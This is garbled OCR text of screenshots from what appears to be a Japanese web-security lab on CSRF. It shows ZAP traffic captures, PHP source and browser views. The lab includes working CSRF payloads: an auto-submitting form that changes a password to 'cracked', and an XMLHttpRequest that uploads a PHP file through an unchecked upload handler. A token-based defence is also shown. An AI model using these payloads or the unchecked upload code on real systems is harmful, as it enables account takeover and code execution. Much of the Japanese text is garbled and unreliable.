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W ST vy - 20181221-044603 - OWASP ZAP 27.0 — a *
IrIl BE FF RUL— LA—b Yl AT LT
(E2er PplUCEmEEe 220 o0 002 48 ¢ 2«DP)oXERE ©& |
@ Hrh | 4 [-;,fwwxevfr{a usTAR [ 4 = LA A
el [F7xvbea-— o O EE e =
v avFER t GET http://trap.example.com/45/45-901.htm| HTTP 1 HTTP/1.1 200 OK L.\
EIBREIZTFA User-Agent: Mozilla/5.0 (Windows NT 10.0; Winad: x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3
» @ U Firefox/64.0 Date: Fri, 21 Dec 2018 06:00:58 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: ja,en-UsS;gq=0.7,en;q=0.3 Content-Length: 132
1| Accept-Encoding: gzip, deflate | Connection: keep-alive
Referer: http://example.jp/45/ Last-Modified: Mon, 14 May 2018 13:08:17 GMT
DNT: 1 ETag: "84-56c2a2de404f1-gzip"
Connection: keep-alive Accept-Ranges: bytes
Upgrade-Insecure-Requests: 1 Vary: Accept-Encoding
E. fost: EE&ZEEPEF_OE: X-UA-Compatible: IE=edge
<body=>
BEEREE WLTF-TaRAIFY) <brs
EfameFsii e
< /body> v
|[BmE[Ge=[frs—t] L 7orTvt [ 4
@ & VW 2raAs @ TOAR-
|m | VPTARER | AV E |URL AF—HAD-F | AT 90— K5 | SO RPUw T L | LARVART A A X | BPS— | /- | 97 I
216 GET ap.example 901.html 200 OK 5 ms 13 3 ™ Medium
23 18f12/21 6 57 POST http://example.jp/45/45-003.php 200 OK 33 ms 72 bytes fu Medium
FS—F MO U1 ju3 o RIEOAF+2 w0 G0 D0 @0 0 0 #o




[F59H—>H—/8: YST XL 45/45-300php — LRRUR ] CSRFMD E(iframehR)

W EE 3 - 20181221-044603 - OWASP 7AP 2.7.0 — O e
Irfil BE FER MU — LA—bk Yl A5 AT

(Eee—r plUCEHEDNE 00 000 008 Aoy 2P PO XERE ©C |

@] 4 [# o195 29—t s uzzan] + | = LR A

@ B3 l;j;r)ljhlfj_flv] 20 F7ALNE1— || BO
: g e ————
v Ifﬂi/T:FX B POST http://example.jp/45/45-003.php HTTP/1.1 K HTTP/1.1 200 OK K
E EEIFFAN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3
@ Firefox/64.0 Date: Fri, 21 Dec 2018 06:00:58 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Length: 72
Accept-Encoding: gzip, deflate Connection: keep-alive
I Referer: http://trap.example.com/45/45-200.html X-Powered-By: PHP/5.3.3
y .
Content-Type: application/x-www-form-urlencoded Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 11 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
DNT: 1 Pragma: no-cache
-Connection: keep-alive Vary: Accept-Encoding
lCookie: PHPSESSID=jdo5h50esl46ordoaifrl 76135 X-UA-Compatible: IE=edge
Upgrade-Insecure-Requests: 1
|_ Host: example.jp < body >
| &AM/ AT — FEcracked CEELELR
|_ pwd=cracked v | 1= body= hd

JEEET%&%TH?ﬁ—FL??'jFD’Wh Y

@@ T 2a:47 @ TOR—b

d |USTAMEE | XYy E|URL | AF—4230-F | A7 —#R0—F#8 | ST F Uy TE14 | LARSART A 54X | @75 |/~ | 84 5
22 18/12/21 6:00:57 GET

Fu Medium
" Medium

http://trap.example.com/45/45-901.html 200 OK 5ms 132 bytes
200 | OK 72 bytes

FS—F R0 1 3 R HEDAF 2 400 G0 o H0 0 Mo
{jarb-.j:] example,jp/45/45-003.php X example,jp/45/45-003.php Pl hitp://example,p/45/45-003.php X
® <« c @ @ example,jp/45/45-003 php ¢ (@ view-source:http://example,jp/45/45-003.php
EAM) AT — FoEcracked CEELELRR <body>
FAOAA T — FEcrackediZERE LT LI
</body>
@ - trap.example.com/45/45-801.html X
< a o ® trap.example.com/45/45-901 html trap.example.com/45/45-907.html http://trap.example.com/45/45-90° X
WEBRER (DATS—2HILTIY) c @ (O] view-source:http://trap.example.com/45/45-501.html
=} -
ZAMI AT — Pacracked CEBULE <body> )
LiE BEEER (DL —YaflavFoy) be

<iframe height="100" src="45-900.htm| "></if rame>
</body>




45-001a:/\R 7 —FZEBECSRFARR(IEER)

[T59+] P45 SARYA L - USTRFT4—S 1) CRF </1i>
<ol>
e 451 2ORYA - USTA+TA—=T Y (CSRF) <li><a href="45-001.php">45-001 /{27 — FEEIEHFRI <>

<li><a href="http://t rap.examp|e.con/45/45-900. htm| ">45-900 :CSRFOE (BRI </a></1i>
<lir<a href="http://t rap.example.comn/45/45-901 . htm| ">45-901 :CSREDE(if ramehf) </a> </ 1i>

1. 45-001 JRT—PFEBE(IEER)

2. 45-900 :CSRFOE(Eikh) <li*<a href="45-001a.php >45-001a:/ VA 7 — FEEECSRFAEEAR (IFHH) </ax</ | >
3. 45-901 :CSREDE(iframehfz) <li><a href="http://t rap.examp le.com/45/45-900a. him| ">45-900a: 1 § 22 0 — FIFECSRATHERR (EE ) /ax</ 1 i>
4.45-001a:/ 27— RESECSRENER(FER) <li><a href="45-004.php">45-004 : 77 )LF » FO— F{EERI</a></i>
B e e e <li><a href="http://t rap.examp le. com/45/45-902 . htm| “>45-902 :CSRFOMBE( 7 7L F» 70— Fl</ax</1i>
5. 45-900a:/ LA :ﬁ%CSRFMﬂﬁﬂi(lﬂg) <li><a href="img/a.php >45-902 :CSRFEIEECIRESA /a></i>
6. 45004 : J7A)Lr7y SO — FOERR) <li*<a href="45-000.phn">45-000 : 7 » ZO— F 7 71 LOZEEE </ | i>
7.45-902 :CSRFOE(I FAILF7v FO— 1) <li><a hret="img/a.php">45-902 :CSRFITEECRESE/a></ | i>
8. 45-002 :CSRFEIZE(DFER <ol>
9.45-000 : 7y FO— FI7A)LOZHIE . .
10. 45-902 :CSRFINZE MR [H—/\: 45/45-001aphp ] [Y¥—/\: 45/45-003a.php ]
[ Avarfwww/html/45/45-001a.php - wasbook@examplejp - T71F - WinSCP [ fvarfwww/html/45/45-002a.php - wasbook@examplejp - T74% - WinSCP
] @9 ¢ e e PO B @9 @esa =r-Ue- @@
kephp // BFA v LIz EICT2EBERADAZ U k2php
session start(); function ex($s) { // XSSTHEREOHMLI 27— 7 L ETEH
$id = 'FElter'_input(INPUT_GET, *id"); echo htmlspecialchars($s, ENT_COMPAT, 'UTF-8');
if (empty($id)) $id = 'yamada’; T
$ SESSION[id*] = $id; __s_els_sli_oln__.s_t_a_r.t_(l)_;._
?><body> $id - @_SESSION['id'];l// =—FIDOERY EL
O A > L &EL7=(id:<?php echo /f D7 A FEFE--EEE
htmlspecialchars($id, ENT_NOQUOTES, 'UTF—S'_); 2»)<br> $p foken - filter input(INPUT POST, ‘token');
<a href="45-802a.php" >/ 2 7 — F ZE (CSRFITFE R )</a><br> $c_token = @%_SESSION[ "token'];
<a href-"45-818.php">1ETiR</a> if (empty($p_token) || $p_token !== $s_token) {
</body> die(' EROBENMSIERE(FE W) // BEAIF—Avw—JEFRTS
e o o e ,
$pwd = filter_input(INPUT_POST, ‘pwd’); . // /SA7— FoOEE
[ Avarfwww/html/45/45-002a,php - wasbook@example.jp - IF45 - WinSCP . AR TR 4 _ s . . — R
— 3. _ ffNAT - FEELE 2-78id0/ AT — FEIpwdlilEET S
[—/\: 45/45-002a.php ] 2 B9 saE xet-Oe-@| @ .
k?php ~ <body>
Session start(); <?php ex($id); »EAOMNAT— FE<php ex($pwd); HIZEELE LT
JT BT UREE R </body>

if (empty($_SESSION["token )Y { /7 F—7FZELBER
$token = bin2hex(openssl_random_pseudo_bytes(24));
$SESSION["token'] = $token;

Yelse { // F=7»HpLbimnEFTnzEs
$token = $_SESSION[ "token'];

?xebody s

\<form action="45-883a.php™ method="POST">
}?f/‘fl'?* F<input name<"pwd" type="password"”><BR>

l<input type=submit value="/¥Z 7 — FZEE">

2 pUE ™ Eype=" AT duEn ™ aie T EORE VAT TE="TYBHE Bt HEnlspecialcars (Feoken, TNT COMPAT, “UTF=6")3 25"
o/formy

</body>»




[T59H>H—i:

JUTRF 45-001aphp — LRARIUR ] /8X7

W) ZFry 3y - 20181221-044603 - OWASP ZAP 2.7.0
7ML BE FEF MUS— LAi—b W—

e AT AT

—FZEHECSRF3 RIR(EH R)

EErr §lcWeié 0°6 000 00D &4

b )O%ERE ©6 |

@t | 4

[% p1vo 25—t [ uozan] +

= LAMRR

@ OEld

|Z2nbea- g B0

v EHaYFFEAR
@ EED:
> @A

ZTFEAN

FoALREa— |»|  HIO

GET http://example.jp/45/45-001a.php HTTR/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:64.0) Gecko/20100101
Firefox/64.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8
Accept-Language: ja,en-US;g=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/45/

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Host: example.jp

I Expires: Thu, 19 Nov 1981 08:52:00 GMT

HTTP/1.1 200 OK LA\
Server: nginx/1.10.3

Date: Fri, 21 Dec 2018 07:07:58 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 157

Connection: keep-alive

X-Powered-By: PHP/5.3.3

Cache-Control: ne-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma nomche
t-Cookle PHPSESSID—4p5qh41?3cf0]]c7b2|fa2bak5, path=/

\v‘argur hocept Enood\ng
X-UA-Compatible: IE=edge

< body=
DUAYUEURyamada) <oz
5-002a.php">/ 12T I\ == (CSRAE

350023 o RE).

5-010.php" >§Em¢ﬂ§< as - F
v

jﬁﬁETQ&%IFFﬁ—FL}?UbJ’whm

@ & ¥ ora Az @ THAR-F

\xy

d | ULTR SHE

61 18/12/21 7:08:00 GET
62 18/12/21 7:08:07 POST

AFT—HA3-F
200 OK
200 OK
200 OK

[ /45-001a.php
http: Hexample ]p;‘45,"45 002a.php
http://example.jp/45/45-003a.php

AT—HAI—FEHA | S

SIUYERUYTEA L | LARY AT A B X | BEFPS— | /= b | 55 =
157 bytes ™ Medium
264 bytes fu Medium
79 bytes o Medium v
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[T59H8>H—/8: JIITRE 45-002aphp — LRRUR ] /SRT—FEECSRFAEM(ERR)

W EFEYU3Y - 20181221-04603 - OWASP ZAP 27.0 _ O %
7l BE FF RUZ— LA Yl AT LT

EEe—F Pl SCHEHBES J04E oBDa 008 &8 <P PO X%ERT

@91 4 [# 215 29—t [suzzan] + | = LR A

@LEE (F7Autea— g @O E=rree e e

M AXFEAR GET http://example.jp/45/45-002a.php HTTPR/1.1 HTTP/1.1 200 OK L;
EEEIZFFAL User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3
- @ Firefox/64.0 Date: Fri, 21 Dec 2018 07:08:01 GMT
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;9=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Length: 264
Accept-Encoding: gzip, deflate Connection: keep-alive
Referer: http://example.jp/45/45-001a.php X-Powered-By: PHP/5.3.3
DNT: 1 Expires: Thu, 19 Nov 1981 08:52:00 GMT
1| Connection: keep-alive 1| Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Upgrade-Insecure-Requests: 1 Vary: Accept-Encoding
Host: example.jp X-UA-Compatible: IE=edge
< body>

| =orm action="45-003a.php’ method="B0ST'> 1
i%i}(R'j— R <input name="pwd" type="password"><BR> |

<input type=submit value="/TXJ— FEE"> 1

J|<Input type= "hidden" name="token" value= 1

'I" SC?UEE1|::6bCE-’I-EIdd65?Bf‘9086CEI358834311d24f2[|41?23">-!

[form=
</body= F
L
jam]QﬁIwﬁs—h Il] ForTw ik | 4
@ @ ¥ oruadz @ THAR—~

I |USTRPEE | XYy |URL AF—HAA—F | AF—#Z0—RHB | SO RhUsTEA L | LARSRT A A Z | 7 S—h | S - | 54 =
59 18/12/21 7:07:57 GET http://example.jp/45/45-001a.php 200 OK 33 ms 157 bytes Fu Medium SetCookie i

61 18/12/21 7:08:00 C = <am /45-002a.php 200 OK 21 ms 264 5 " Medium Form, Pa

62 18/12/21 7:08:07 POST http://example.jp/45/45-003a.php 200 OK 21 ms 1 Medium hd
FS—F RO 1 3 @ HWEQAT+2 w0 To 20 @0 o S0 #o




[T59H8>H—/8: JIITRE 45-003aphp — LRRUR ] /SRT—FEECSRFAEM(ERR)

W STty Y3V - 20181221-044603 - OWASP ZAP 2.7.0 — [} b
IFI B|E FBFR MU~ LA—b Yl AT LT
(E2e—r pioEE-E J260 008 009 &eV <P ProXERE 96
@ 1] 4 [ycwrwzes—ﬂ@ UsTAN | 4 = LARA
@ LIEIE FrANrEa— ] EHO F7AutEa— v 0
v EaYTER t POST http://example.jp/45/45-003a.php HTTR/1.1 HTTP/1.1 200 OK [;
EEE2ZTFAR User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3
- @ Firefox/64.0 Date: Fri, 21 Dec 2018 07:08:08 GMT
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;9=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Length: 79
.| Accept-Encoding: gzip, deflate .|Connection: keep-alive
Referer: http://example.jp/45/45-002a.php X-Powered-By: PHP/5.3.3
Content-Type: application/x-www-form-urlencoded Expires: Thu, 19 Mov 1981 08:52:00 GMT
Content-Length: 67 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
DNT: 1 Pragma: no-cache
|Connection; keep-allve, _ o o o o e Vary: Accept-Encoding
H{Coolde: PHPSESSID—apSqhé173cl0jic7bertazbalks | X-UA-Compatible: IE=edge
Upgrade-Insecure-Requests: 1
Host: example.jp < body>
|| pwd=password&koken=c3c70eelbbbee40dd6c78f9c86c0358834311d24f2041723 : < /body> v
| [EEE]c m= [Rrs—t] 7ordvt [+
@ & T oqa s @ THRA-
Id |USTRHEE | AYwE | URL RF—HRI—F | AF-F23—F5H | SO E Uy TEA L | LARZZRTr B X | BEFPS5— b | /- b | 55 =
59 18/12/21 7:07:57 GET http://example.jp/45/45-001a.php 200 OK 33 ms 157 bytes 1 Medium SetCookie i
61 18/12/21 7:08:00 GET http://example.jp/45/45-002a.php 200 OK 21 ms 264 bytes fu Medium Form, Passwor...

POST http:/ 200 OK ™ Medium

FTS—F W0 R 3 mo REDAF+2 @0 o Do @0 o S0 Ho




(F594]
- example,)p/45/45-001a.php *
< c @

O > LE Li=(id:yamada)
JSR D — PZEE (CSRFAIERRR)

I

(@ examplejp/45/45-001a.php

Fiarany il
example.jp/45/45-002a.php bt
<« c @ @ & example,jp/45/45-002a.php
LA s I
JTAD—REE

I

- example,jp/45/45-002a.php X

<« c @ @ £ example,jp/45/45-002a.php
Fi) (AT — Fosessees |
JUAD— REE

I

- example.jp/45/45-003a.php X

<« C

(@ examplejp/45/45-003a.php

yamadaZ=AM/ VAT — F#Epassword[CEELFE LI

http://examplejp/45/45-001a.php X

(& @ @ view-source:http://example,)p/45/45-001a.php

example,]p/45/45-001a.php

<body>

044 LE Lt (idivanada)<br>

<a href="45-002a.php™>/ {2 7 — FEE (CSRFLBERR ) </a><br>
<a href="45-010. pho >8R /a>

</body>

example,p/45/45-002a.php

[ @ view-source:http://example,jp/45/45-002a.php e @

<body>

<form action="45-003a.php” method="FOST™>

AT — Fdinput name="pnd” type="password”><BR>

<input type-submit value="/ 127 — FEE"

<input type="hidden” name="token” wvalue="did3cdfal85b90299e562d173dc070408eT4af 394 7cf 3177
</form>

</body>

example,jp/45/45-003a.php

http://example,jp/45/45-003a.php X

¢ @ (@ view-source:http://example.jp/45/45-003a.php

<body>
vamada = A0 V20 — N password(CEE L FE LIC
</body>



45-900a:/ \R 7 — R ZE B CSRF it 5k i (B &)
[F359+]
e 451 2004+ UIOTARIA—=1 ) (CSRF)

1.

OO~ N W

e
=]

45-001 JRD— FES(IEER)

. 45-900 :CSRFOE(EliiR)

. 45-901 :CSRFDE(iframefn)

. 45-001a: /8 X J— PESECSRIMFEM(IFER)
. 45-900a:/§R J— FEECSRIAER(INE)

. 45-004 : I 7 AJLF v FO— BEEFR)

. 45-902 :CSRFOE(IFAILFvITO—)

. 45-902 :CSRFE DS

. 45-000 : PwFO— EI 7 AILOSHEIEE

. 45-902 :CSRFE DS

[H—/8: 45/45-900a.html ]

[ /varfwww/html/45/45-900a.html - wasbook@example,jp - IF 1% - WinSCP

] @ | 9 ¢ |8l e B 8| xFI-F-
|-<body onload="document.forms[8].submit()">»

<form action="http://example.jp/45/45-063a.php" method="POST">»

<input type="hidden" name="pwd" wvalue="cracked">»

</form>
</body>

lird 5.1 2OQ2[AF A USITA 73— 21) (C5RF) </li>

<ol>

<li><a href="45-001.php">45-001 2 S22 — FEE(EEFRI<ax</1i>

<li><a href="http://t rap. example. con/45./45-900 . htm| “>45-900 :CSRFO B (BEfERR)</a></1i>

<lir<a href="http://t rap. exanple. con/45/45-901. htm| “>45-901 :CSRFOEIf ramehR) </a></1i>

<li><a href="45-001a.php >45-001a:/ $ A 0 — FEBCSREIEMR(EFE R </ax</1i>

<li¥<a href="http: //t rap. examp le. con/45,/45-900a. html "»45-300a: ) 4 2 2 — FEEECSRE SRR (TNEE )< /ax</ | i>
<li><a href="45-004.php">45-004 : 7 7 JL. 7w FO0— F(EFEFRI/a</ 10>

<li><a href="http://trap.examp le. com/45/45-902 . htm| ">45-902 (CSRFNE(Z 7L Fw 70— Fi</ax</1i>
<li><a href="img/a.phe">45-902 :CSRFIUEEMIESI/a></|i>

<li><a href="45-000.php">45-000 : 7w 70— F 7 7 ILOEHER A</ | i>

<li¥<a href="ing/a.php">45-902 :CSRFETEORESA /i

<fol>




[TS59Y -y —i3: YHIRAF trap.example.com/45/45-900a.html — LARUR ] /8RR —FZEHECSRF HEhR(H )

W EEEYU3Y - 20181221-04603 - OWASP ZAP 27.0 _ [m] %

Tr-il |E FR MUI— Li—b Y—il ALSA AT

(Ege—F Pl SCHEHEES J20 208 00E &8V <P o ERE o6 |
@t [# 24v0 25—t [ = uozab | 4 [.:L,;uﬁpx

Rl [ijwtl— PHE B Foribea- ) EO

= a5 e
YO AFTEAN tp://trap.example. 5002 HTTP/1.1 200 OK [_A\
EBEIZTHFR 'User-Agent: Mozilia/5.0 (Windows NT 10.0; WinG4; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3
K Fuds Firefox/64.0 Date: Fri, 21 Dec 2018 07:39:19 GMT
v [ o http://trap.example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.8 Content-Type: text/html; charset=UTF-8
) Accept-Language: ja,en-US;g=0.7,en;q=0.3 Content-Length: 171
v ERds Accept-Encoding: gzip, deflate Connection: keep-alive
B ™ GET:45 1 (DNT: 1 . |Last-Modified: Mon, 14 May 2018 13:08:17 GMT
> [ P hetp:/fexamplep Connection: keep-alive ETag: "ab-56c2a2de47251-gzip
Upgrade-Insecure-Requests: 1 Accept-Ranges: bytes
Pragma: no-cache Vary: Accept-Encoding
Cache-Control: no-cache X-UA-Compatible: IE=edge
I [Host: trap.example.com " = ——————————————
i <body onload="document.forms[0].submit()"> 1
J| <form action="http://example.jp/45/45-003a.php" method="POST"> 1
J <input type="hidden" name="pwd" value="cracked"> 1
I| < /form>= :
=<,.-'body> 1
- _ e o
jam]%&*{u’h?s% Il] FIrTw b | 4
@ @ ¥ oruaAy @ TOR—H
d|USTIAMEE | AUy E |URL AF—HA2—F | AF—$Z0— R | SO R TEA L | LARDZRT A A X | P S— b | /- | a4 [E
3 Mo WEDAF+ 2 o do @o >§|§<o /0 Mo




[FS59H—>H—i%: UHI XL 45-008aphp — LRAKRUR ] /8RT—FEECSRFx FAR(H )

W EEtyyaY - 20181221-044603 - OWASP 7AP 2.7.0 _ O w
TPl BE Fx MU~ Lk Yol ASA2 AT

(BEe—Fr ploERpPpE: 040 o 002 4@V <P P OXERE
@t 4 [ % 71y 29—t [ uozak | + [@V;{;ﬁ‘/?\]

e [Foantea-g a0 Foantea- ¥ L0

MEE R POST http://example.]p/45/45-003a.php HTTR/1.1 HTTP/1.1 200 OK
BEIZTFAN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3
vy @Y Firefox/64.0 Date: Fri, 21 Dec 2018 07:39:18 GMT
v [ http://trap.example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;9=0.8 Content-Type: text/html; charset=UTF-8
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YERS Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.3.3
|| P GET:45-200a.html Referer: http://trap.example.com/45/45-900a.html Expires: Thu, 19 Nov 1981 08:52:00 GMT
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session_start();
ff 07 A o FEEE B
2>

<body>
<body>

<form action="45-885.php" method="post" enctype="multipart/form-data">»

7 7 JL D <input type="file" name="imgfile" size="28"><br>
<input type="submit" value="7 v 7HO—F"»

< /form:>
</body>
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<li¥<a href="http: //t rap. examp le. con/45,/45-900a. html "»45-300a: ) 4 2 2 — FEEECSRE SRR (TNEE )< /ax</ | i>
<li><a href="45-004.php">45-004 : 7 7 JL. 7w FO0— F(EFEFRI/a</ 10>
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function ex($s) { // XSSHEADHMLI X7 —7 L EREH
echo htmlspecialchars($s, ENT_COMPAT, 'UTF-8');
i

session_start();
$id = @5_SESSION['id']; // Z—FIDDOEYEL
J/ BT A R R
$tmpfile = $ FILES["imgfile"]["tmp_name™];
$tofile = $ FILES["imgfile"]["name"];
if (1 is uploaded file(gtmptile) ) {
die(' 7 rFA ATy 7O-—FERATLWERA");
// EMgE img T4 L7 L UICHEE
} else if (! move_uploaded_file($tmpfile, "img/$tofile™)) {
die("7rAETv7O-FTEEEA");
i
$imgurl = “img/" . urlencode($tofile);
?><body>
ID:<?php ex($id); ?><br>Ll FTOESET v 70— FLZE Lizcbr>
<a href="<?php ex($imgurl); ?>"»><img src="<?php ex($imgurl); 2?>"»</a>
</body>
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Upgrade-Insecure-Requests: 1 Vary: Accept-Encoding
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Accept-Encoding: gzip, deflate Connection: keep-alive
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Host: example.jp ID:<br= B FOE®ZEF v JO—-FLUE LR <br>
: | <a href="img/sample.png"><img src="img/sample.png"> < /a=
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3. 45-901 :CSREDE(iframehfr) <li><a href="http://t rap. example.com’45/45-901. html “>45-901 :CSRFOE(if ramehl) </a></1i>
4. 45-001a:/t R J— REECSRIAFER(IER) <li*<a href="45-001a.php">45-001a:/ 1 A 7 — FEBECIRFHAFRR (IEE ) </ax</ 1 i>
. o . B 1 e - = .
5. 45-900a:) £ J— FZESECSREE SER(E) <l !><a href—"hHD.f’H ra;,a’.example.comf'45f45 900a.html ">45£U[Ja.f A0 . HETECSRE SRR (B )< /i
e Y P ——— <li><a href="45-004 php >45-004 : 7 7 1)L 7 » 70— F(EEF)</a</ 1 i>
: et _: o (IEFE%) ) <li><a href="http://t rap.example. con/45/45-902 . htm| “>45-902 :CSRFOQE(Z 7L 7 » 70— Fi/ax</ iz
7.45-902 :CSRFOE(IFAILF v IO— 1) <li><a href="ime/a.phe>45-902 :CSRFRIEBOIEE/a></1i>
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B @D ¢ |8 & & 8| - = @D c|@esdE xFt-Oe-8(0
|-(b0dy> |-(?php
<script> ) function ex($s) { // XSSHEADHMLI 27— 7 L RTELH
/i MTRIZEETBHTTPU P IR FHET s DR E echo htmlspecialchars($s, ENT_COMPAT, 'UTF-8');
/4N BEIT(\n) & BEHTTRO)ETT b
data = "\ session_start();
L TBNDRY AN, $id = @ SESSION['id']; // =—HFIDDERY HL
Content-Disposition: form-data; name="imgfile"; filename="a.php"\n\ /) BT A RS- HEE
i::tent—Type: text/plaininy $tmpfile = $ FILES["imgfile"]["tmp_name"];
«?php phpinfo();\n\ %mf‘}‘}?-: $J:ILE.S. _.l:ﬂ_gfl;ls._].[jgl.;?_e 1;
An\
- ---BNDRY--\nY,
' / BEifg%E img T4 L7 UICES
1 if (! loaded_fil fil file”
var req = new XMLHttpRequest(); ; 9.59. l_,fr L’m;\ﬁ_\\l{[;.:?j |_v_ fa;ez(if_nz.l_e} ineSoiLeDl
req.open( 'POST", 'http://example.jp/45/45-885.php'); die(*7 7 ANET Y TEEEAT)
req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY'); 3
req.withCredentials = true; $imgurl = *img/’ . urlencode($tofile);
req.send(data); J\ #><body>
</script> \ ID:<?php ex($id); 2><br>LlTOESET v 70— FL & Li=<br>
</body> T7AIT Yy FO—REDT, Imultipart/form-data; boundary=-- <a href="<php ex($imgurl); ?>"><img src="<2php ex($imgurl); 2>"></a>
BNDRY ] </body>
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M= GET http://trap.example.com/45/45-902.html KTTP/1.1 HTTP/1.1 200 OK l;
B BEEa > TFAR User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3

v @tk Firefox/64.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;9=0.8
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Content-Type: text/html; charset=UTF-8
Content-Length: 542

Connection: keep-alive

Last-Modified: Mon, 14 May 2018 13:08:17 GMT
ETag: "21e-56c2a2de42431-gzip”
Accept-Ranges: bytes

Vary: Accept-Encoding

H-UA-Compatible: IE=edge

< body=>
<script=

A ¥n¥ [3EUT(¥n) & BRTEFROYHETT
data = ¥
--—-BNDRY¥n¥
Content-Disposition: form-data; name="imgfil2"; filenama="a.php"¥n¥
Content-Type: text/plain¥n¥
¥n¥
<?php phpinfol);¥n¥
¥n¥
----BNDRY--¥n¥

var req = new XMLHttpRequest();

reg.open('POST', 'http://example.jp/45/45-005.php");
req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY');
reg.withCredentials = true;
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req.send(data);
<« fscript=
= s </body> b4
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M=t POST http://example.jp/45/45-005.php HTTP/1.1 L; HTTR/1.1 200 OK
[E BEITFAN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Server: nginx/1.10.3
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Content-Type: text/plain
< ?php phpinfo();
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Accept-Encoding: gzip, deflate

Referer: http://example.jp/45/ima/a.php
DNT: 1

Connection: keep-alive
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PHP Version 5.3.3 PhP

pre— i wasbook .9.0-4-688 #1 54 Dabian 4.9.65-3+9e691 (2017-12.23)
ese

Bulld Date Apr 20 2016 14:15:04

| Configure Jeonfiqure’ '-~Gsable-all '—Gisable-cli’ —-enable-cgi —-enable-session’ -

Command  [enabie-ibxmi —enable-dom -enable-mbstring  "—enable-fson —enab-pdo
5015 " !
/ph/5.3/cgr '~with-mysql-socke/var/run/mysald/mysqid.sock “—with-
openssle/usr’ --enable-filter’

Server AL |CaUFancal

Virtual Directory | dissied

Support

c @

<IDOCTYPE htm! PUBLIC ~—//W3C//DID XHTML 1.0 Transitional//EN" “DID/xhtmlI-transitional. dtd™>
<html><head>

<style twvpe="text/css">

body {backzround-color: #ffffff; color: #000000;]

body, td, th, hl, hZ [font-familv: sans-serif;]

pre {margin: Opx; font-family: monospace; ]

atlink {color: #000099; text-decoration: none; backzround-color: #ffffff;]

athover {text-decoration: underline;}

table {border-collapse: collapse;]

.center {text-align: center;]

.center table [ margin-left: auto; margin-right: auto; text-alian: left;]

.center th { text-alizn: center limportant; 1

td, th { border: 1px solid #000000; font-size: 75%; vertical-align: baseline;}

hi {font-size: 150%;}

hi {font-size: 125%;}]

o {text-alian: left;]

.e {background-color: ffcccctf; font-weight: bold; color: #000000;}

b background-color: #9999cc; fort-weizht: bold; color: #000000;]

v {background-color: #cccoce; color: #000000; )

v [backeround-color: #ccccce; text-alizn: right; color: #000000;1

img {float: right; border: Opx;]

hr {width: B00px; backeround-color: #ccccee; border: Opx: height: lpx; color: #000000;]
{Istyler

<titlerphpinfo()</titler<meta name="ROBOTS” content="NOINDEX, NOFOLLOW, NOARCHIVE™ /></head>
<body><div class="center”>

<table border="0" cellpaddina="3" width="600">

<tr class="h"><td>

<a href="http://wim.php.ret/"><img border="0" src="/45/imz/a. php?=PHPEISE8F34-D428-11d2 -A769-00AA001ACF42™ alt="PHP Loza™ /<
Atdr<At ey

</table><br />

<table border="0" cellpaddina="3" width="600">

<t rx<td class="e">Svsten </td><td class="v">Lirux wasbook 4.3.0-4-686 #1 SMP Debian 4.9.65-3+debSul (2017-12-23) 686 </td></
<trytd class="e™>Build Date </td><td class="v>hpr 20 2018 14:15:04 <tdr</tr

- @

(@ view-sourcehttp:/fexamplejp/45/img/a.php

<trx<td class="e">_SERVERL "PHP_SELF"J</td><td class="v">/45/ imz/a.pho< td> </t r>
<tee<td class="e™>_SERVERL"REQUEST_TIME" 1</ td><td class="v"»1545480425</ v d> </t r>
</tablex<br />

<h2>PHP License</h2>

<table border="0" cellpadding="3" width="600">

<tr class="v"><td>

<pr

This program is free software; you can redistribute i1 and/or modify it under the terms of the PHP License as published by the F
<py

<prThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty «
<o

<prlf vou did not receive a copy of the PHP license, or have any auestions about PHP licensing, please contact |icenselphp.net.
<py

tdrdAtry

</table><br />

<Adiv><bodv></html> v
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e 451 2004+ UIOTARIA—=1 ) (CSRF)
1. 45-001 JRDJ)—FES(IBFR)

. 45-900 :CSRFDE(EikR)

. 45-901 :CSRFDE(iframefn)

. 45-001a: /8 X J— PESECSRIMFEM(IFER)

. 45-900a:) X J— FIEECSRIAI kR (1H22)

